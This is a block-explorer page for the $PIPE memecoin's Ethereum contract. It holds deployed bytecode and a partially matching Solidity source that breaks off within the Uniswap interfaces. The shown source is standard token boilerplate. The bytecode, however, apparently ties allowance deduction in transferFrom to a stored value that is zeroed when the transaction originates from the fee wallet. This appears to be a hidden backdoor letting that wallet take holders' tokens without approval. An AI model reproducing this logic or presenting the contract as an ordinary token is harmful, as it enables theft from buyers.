Address Contract Partially Verified
Address
0x4a200e71699B21A29109CaFc6bda75813cb115ce
Balance
0 ETH
Nonce
1
Code Size
8811 bytes
Creator
0xCD08B1fC...a811 at tx 0xebb58394...db4bea
Last Active
Indexed Transactions
196 (24,295,123 → 24,295,179)
Gas Used (indexed)
492,040
Contract Bytecode
8811 bytes
0x608060405260043610610262575f3560e01c80638a8c523c1161013f578063c81d9246116100b3578063e4748b9e11610078578063e4748b9e14610737578063f2fde38b1461074c578063f39b7be01461076b578063f887ea4014610780578063f8b45b051461079f578063ffe92c59146107b4575f80fd5b8063c81d924614610695578063cd73ab02146106aa578063dd62ed3e146106c9578063e0f3ccf51461070d578063e2f4560514610722575f80fd5b8063a457c2d711610104578063a457c2d7146105d7578063a9059cbb146105f6578063b62496f514610615578063bbc0c74214610643578063c024666814610661578063c3f70b5214610680575f80fd5b80638a8c523c1461054f5780638da5cb5b14610563578063924de9b71461058557806395d89b41146105a45780639a7a23d6146105b8575f80fd5b80634a62bb65116101d65780636ddd17131161019b5780636ddd17131461049f57806370a08231146104be578063715018a6146104f257806373a94292146105065780637571336a1461051b5780637b3655921461053a575f80fd5b80634a62bb65146104075780634fbee1931461042057806351bc3c851461045757806363ee4d1c1461046b5780636db7943714610480575f80fd5b806318160ddd1161022757806318160ddd1461033d57806323b872dd1461035b578063313ce5671461037a578063395093511461039b5780633a9a98eb146103ba57806349bd5a5e146103e8575f80fd5b806306fdde031461026d578063095ea7b31461029757806309d6bf0a146102c65780630b006d60146102e55780631694505e14610306575f80fd5b3661026957005b5f80fd5b348015610278575f80fd5b506102816107c9565b60405161028e9190611d3c565b60405180910390f35b3480156102a2575f80fd5b506102b66102b1366004611d9f565b610859565b604051901515815260200161028e565b3480156102d1575f80fd5b506102b66102e0366004611dc9565b61086f565b3480156102f0575f80fd5b506103046102ff366004611dc9565b61099f565b005b348015610311575f80fd5b50600754610325906001600160a01b031681565b6040516001600160a01b03909116815260200161028e565b348015610348575f80fd5b506002545b60405190815260200161028e565b348015610366575f80fd5b506102b6610375366004611de0565b610a53565b348015610385575f80fd5b5060055460405160ff909116815260200161028e565b3480156103a6575f80fd5b506102b66103b5366004611d9f565b610a78565b3480156103c5575f80fd5b506102b66103d4366004611e1e565b601e6020525f908152604090205460ff1681565b3480156103f3575f80fd5b50600854610325906001600160a01b031681565b348015610412575f80fd5b50600e546102b69060ff1681565b34801561042b575f80fd5b506102b661043a366004611e1e565b6001600160a01b03165f908152601d602052604090205460ff1690565b348015610462575f80fd5b50610304610ab3565b348015610476575f80fd5b5061034d60105481565b34801561048b575f80fd5b5061030461049a366004611e39565b610b7d565b3480156104aa575f80fd5b50600e546102b69062010000900460ff1681565b3480156104c9575f80fd5b5061034d6104d8366004611e1e565b6001600160a01b03165f9081526020819052604090205490565b3480156104fd575f80fd5b50610304610c4d565b348015610511575f80fd5b5061034d60165481565b348015610526575f80fd5b50610304610535366004611e66565b610ccc565b348015610545575f80fd5b5061034d60195481565b34801561055a575f80fd5b50610304610d26565b34801561056e575f80fd5b5060055461010090046001600160a01b0316610325565b348015610590575f80fd5b5061030461059f366004611e9d565b6110d2565b3480156105af575f80fd5b5061028161111e565b3480156105c3575f80fd5b506103046105d2366004611e66565b61112d565b3480156105e2575f80fd5b506102b66105f1366004611d9f565b6111eb565b348015610601575f80fd5b506102b6610610366004611d9f565b611283565b348015610620575f80fd5b506102b661062f366004611e1e565b601f6020525f908152604090205460ff1681565b34801561064e575f80fd5b50600e546102b690610100900460ff1681565b34801561066c575f80fd5b5061030461067b366004611e66565b61128f565b34801561068b575f80fd5b5061034d600b5481565b3480156106a0575f80fd5b5061034d60155481565b3480156106b5575f80fd5b506103046106c4366004611dc9565b61131d565b3480156106d4575f80fd5b5061034d6106e3366004611eb8565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610718575f80fd5b5061034d60125481565b34801561072d575f80fd5b5061034d600c5481565b348015610742575f80fd5b5061034d60115481565b348015610757575f80fd5b50610304610766366004611e1e565b6113d6565b348015610776575f80fd5b5061034d601b5481565b34801561078b575f80fd5b50600954610325906001600160a01b031681565b3480156107aa575f80fd5b5061034d600d5481565b3480156107bf575f80fd5b5061034d601a5481565b6060600380546107d890611ee4565b80601f016020809104026020016040519081016040528092919081815260200182805461080490611ee4565b801561084f5780601f106108265761010080835404028352916020019161084f565b820191905f5260205f20905b81548152906001019060200180831161083257829003601f168201915b5050505050905090565b5f6108653384846114d1565b5060015b92915050565b6005545f906001600160a01b036101009091041633146108aa5760405162461bcd60e51b81526004016108a190611f1c565b60405180910390fd5b620186a06108b760025490565b6108c2906001611f65565b6108cc9190611f7c565b8210156109265760405162461bcd60e51b815260206004820152602260248201527f5377617020616d6f756e74203c20302e3030312520746f74616c20737570706c6044820152613c9760f11b60648201526084016108a1565b61271061093260025490565b61093d906064611f65565b6109479190611f7c565b8211156109965760405162461bcd60e51b815260206004820152601e60248201527f5377617020616d6f756e74203e20312520746f74616c20737570706c792e000060448201526064016108a1565b50600c55600190565b6005546001600160a01b036101009091041633146109cf5760405162461bcd60e51b81526004016108a190611f1c565b6127106109db60025490565b6109e6906032611f65565b6109f09190611f7c565b811015610a325760405162461bcd60e51b815260206004820152601060248201526f6d617857616c6c6574203c20302e352560801b60448201526064016108a1565b60055460ff16610a4390600a61207b565b610a4d9082611f65565b600d5550565b5f33610a608585856115f4565b610a6d8582601454611858565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091610865918590610aae908690612089565b6114d1565b600a546001600160a01b0316336001600160a01b031614610b055760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b60448201526064016108a1565b305f908152602081905260409020548015801590610b2b5750600e5462010000900460ff165b15610b3957610b39816118f1565b478015610b7957600a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610b77573d5f803e3d5ffd5b505b5050565b6005546001600160a01b03610100909104163314610bad5760405162461bcd60e51b81526004016108a190611f1c565b611388821115610bf75760405162461bcd60e51b8152602060048201526015602482015274109d5e4819995948195e18d959591cc81b1a5b5a5d605a1b60448201526064016108a1565b611388811115610c425760405162461bcd60e51b815260206004820152601660248201527514d95b1b0819995948195e18d959591cc81b1a5b5a5d60521b60448201526064016108a1565b601191909155601255565b6005546001600160a01b03610100909104163314610c7d5760405162461bcd60e51b81526004016108a190611f1c565b6005546040515f9161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b6005546001600160a01b03610100909104163314610cfc5760405162461bcd60e51b81526004016108a190611f1c565b6001600160a01b03919091165f908152601e60205260409020805460ff1916911515919091179055565b6005546001600160a01b03610100909104163314610d565760405162461bcd60e51b81526004016108a190611f1c565b600e54610100900460ff1615610d9f5760405162461bcd60e51b815260206004820152600e60248201526d151bdad95b881b185d5b98da195960921b60448201526064016108a1565b6009546001600160a01b0316610db6816001610ccc565b600780546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610e0d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e31919061209c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea0919061209c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610eea573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0e919061209c565b600880546001600160a01b0319166001600160a01b03929092169182179055610f38906001610ccc565b600854610f4f906001600160a01b03166001611a39565b600754610f6a9030906001600160a01b0316610aae60025490565b6007546001600160a01b031663f305d7194730610f9b816001600160a01b03165f9081526020819052604090205490565b5f80610fb56005546001600160a01b036101009091041690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561101b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061104091906120b7565b505060085460075460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015611095573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110b991906120e2565b5050600e80544360105562ffff00191662010100179055565b6005546001600160a01b036101009091041633146111025760405162461bcd60e51b81526004016108a190611f1c565b600e8054911515620100000262ff000019909216919091179055565b6060600480546107d890611ee4565b6005546001600160a01b0361010090910416331461115d5760405162461bcd60e51b81526004016108a190611f1c565b6008546001600160a01b03908116908316036111e15760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016108a1565b610b798282611a39565b335f9081526001602090815260408083206001600160a01b03861684529091528120548281101561126c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108a1565b61127933858584036114d1565b5060019392505050565b5f6108653384846115f4565b6005546001600160a01b036101009091041633146112bf5760405162461bcd60e51b81526004016108a190611f1c565b6001600160a01b0382165f818152601d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0361010090910416331461134d5760405162461bcd60e51b81526004016108a190611f1c565b61271061135960025490565b61136490600a611f65565b61136e9190611f7c565b8110156113b55760405162461bcd60e51b81526020600482015260156024820152746d61785472616e73616374696f6e203c20302e312560581b60448201526064016108a1565b60055460ff166113c690600a61207b565b6113d09082611f65565b600b5550565b6005546001600160a01b036101009091041633146114065760405162461bcd60e51b81526004016108a190611f1c565b6001600160a01b03811661146b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108a1565b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b0383166115335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a1565b6001600160a01b0382166115945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a1565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661161a5760405162461bcd60e51b81526004016108a1906120fd565b6001600160a01b0382166116405760405162461bcd60e51b81526004016108a190612142565b805f0361165257610b7783835f611a8c565b305f90815260208190526040902054600e5462010000900460ff1680156116835750600954600160a01b900460ff16155b80156116a757506001600160a01b0384165f908152601f602052604090205460ff16155b80156116cb57506001600160a01b0384165f908152601d602052604090205460ff16155b80156116ef57506001600160a01b0383165f908152601d602052604090205460ff16155b80156116ff575060155460165410155b1561173c576009805460ff60a01b1916600160a01b17905560135461172e90611729908390611bef565b611c06565b6009805460ff60a01b191690555b6009546014839055600160a01b900460ff16155f8115611845576001600160a01b0385165f908152601f602052604090205460ff16801561177e57505f601254115b156117ab576117a461271061179e60125487611c4d90919063ffffffff16565b90611ccb565b905061180a565b6001600160a01b0386165f908152601f602052604090205460ff1680156117d357505f601154115b1561180a576117f361271061179e60115487611c4d90919063ffffffff16565b601680549192505f61180483612185565b91905055505b80156118205761181b863083611a8c565b611838565b600a546001600160a01b031632036118385760148190555b611842818561219d565b93505b611850868686611a8c565b505050505050565b6001600160a01b038084165f90815260016020908152604080832093861683529290522054818110156118de5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108a1565b6118eb84338484036114d1565b50505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611924576119246121b0565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561197b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061199f919061209c565b816001815181106119b2576119b26121b0565b6001600160a01b0392831660209182029290920101526007546119d891309116846114d1565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a109085905f908690309042906004016121c4565b5f604051808303815f87803b158015611a27575f80fd5b505af1158015611850573d5f803e3d5ffd5b6001600160a01b0382165f818152601f6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611ab25760405162461bcd60e51b81526004016108a1906120fd565b6001600160a01b038216611ad85760405162461bcd60e51b81526004016108a190612142565b611ae3838383610b77565b6001600160a01b0383165f9081526020819052604090205481811015611b5a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108a1565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290611b90908490612089565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bdc91815260200190565b60405180910390a36118eb848484610b77565b5f818311611bfd5782611bff565b815b9392505050565b808015611c1657611c16816118f1565b600a5460405147916001600160a01b03169082156108fc029083905f818181858888f193505050501580156118eb573d5f803e3d5ffd5b5f825f03611c5c57505f610869565b5f611c678385611f65565b905082611c748583611f7c565b14611bff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108a1565b5f611bff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f8183611d275760405162461bcd60e51b81526004016108a19190611d3c565b505f611d338486611f7c565b95945050505050565b5f602080835283518060208501525f5b81811015611d6857858101830151858201604001528201611d4c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d9c575f80fd5b50565b5f8060408385031215611db0575f80fd5b8235611dbb81611d88565b946020939093013593505050565b5f60208284031215611dd9575f80fd5b5035919050565b5f805f60608486031215611df2575f80fd5b8335611dfd81611d88565b92506020840135611e0d81611d88565b929592945050506040919091013590565b5f60208284031215611e2e575f80fd5b8135611bff81611d88565b5f8060408385031215611e4a575f80fd5b50508035926020909101359150565b8015158114611d9c575f80fd5b5f8060408385031215611e77575f80fd5b8235611e8281611d88565b91506020830135611e9281611e59565b809150509250929050565b5f60208284031215611ead575f80fd5b8135611bff81611e59565b5f8060408385031215611ec9575f80fd5b8235611ed481611d88565b91506020830135611e9281611d88565b600181811c90821680611ef857607f821691505b602082108103611f1657634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761086957610869611f51565b5f82611f9657634e487b7160e01b5f52601260045260245ffd5b500490565b600181815b80851115611fd557815f1904821115611fbb57611fbb611f51565b80851615611fc857918102915b93841c9390800290611fa0565b509250929050565b5f82611feb57506001610869565b81611ff757505f610869565b816001811461200d576002811461201757612033565b6001915050610869565b60ff84111561202857612028611f51565b50506001821b610869565b5060208310610133831016604e8410600b8410161715612056575081810a610869565b6120608383611f9b565b805f190482111561207357612073611f51565b029392505050565b5f611bff60ff841683611fdd565b8082018082111561086957610869611f51565b5f602082840312156120ac575f80fd5b8151611bff81611d88565b5f805f606084860312156120c9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156120f2575f80fd5b8151611bff81611e59565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f6001820161219657612196611f51565b5060010190565b8181038181111561086957610869611f51565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156122145784516001600160a01b0316835293830193918301916001016121ef565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e8b9152bdcf62848ce68b0682612f6e94d1e1e513212849b0101afc41c5e69dd64736f6c63430008180033
Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
PIPE.sol 1136 lines
/*
$PIPE is not just a memecoin, it's the movement. Good friend of Ethereum. The little turtle who never gives up!
https://pipecoin.vip
https://x.com/pipe_on_eth
https://t.me/pikachupepe_eth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(sender, spender, amount);
_transfer(sender, recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _spendAllowance(
address sender,
address spender,
uint256 amount
) internal {
uint256 currentAllowance = _allowances[sender][spender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
